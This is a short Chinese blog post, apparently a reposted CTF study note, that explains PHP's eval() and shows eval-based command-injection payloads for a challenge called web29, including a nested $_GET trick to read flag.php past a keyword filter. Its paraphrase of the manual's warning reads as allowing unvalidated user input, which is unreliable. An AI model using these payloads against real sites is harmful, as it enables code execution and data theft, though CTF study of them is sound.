php eval()函数

php eval()函数

(PHP 4, PHP 5, PHP 7, PHP 8)

eval — 把字符串作为PHP代码执行

说明 eval(string $code)

把字符串 code 作为PHP代码执行。

函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。
如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,要允许传入任何由用户提供的、未经完整验证过的数据 。

在这里插入图片描述

在这里插入图片描述

范例

示例 #1 eval()例子 - 简单的文本合并

<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>

得到的结果

This is a $string with my $name in it.

This is a cup with my coffee in it.

2、拼接参数

<?php

$str =  '<?php echo "test"; ?>';

eval('?>'.$str.'<?php;'); // outputs test
eval('?>'.$str.'<?'); // outputs test
eval('?>'.$str.'<?php');// throws syntax error - unexpected $end

?>

如上例子,在命令执行中,就可以构造语句来进行命令执行 ,以web29为例子

类似这种?c=echo ‘’?><?php system(‘ls’);

或者根据eval()中的参数是执行php代码,构造?c=eval($_GET[a])?>&a=system(‘cat flag.php’);

将a的值get进去,就避免了flag被代码中的preg_match("/flag/i", $c) 给过滤掉,如下,成功执行

在这里插入图片描述

就此,可以利用eval()函数的特性去构造来绕过一些限制了,还有一些其他的可以学习这个网站:https://www.php.net/manual/zh/function.eval.php
还有很多东西要学!

猜你喜欢

转载自blog.csdn.net/yzl_007/article/details/120644017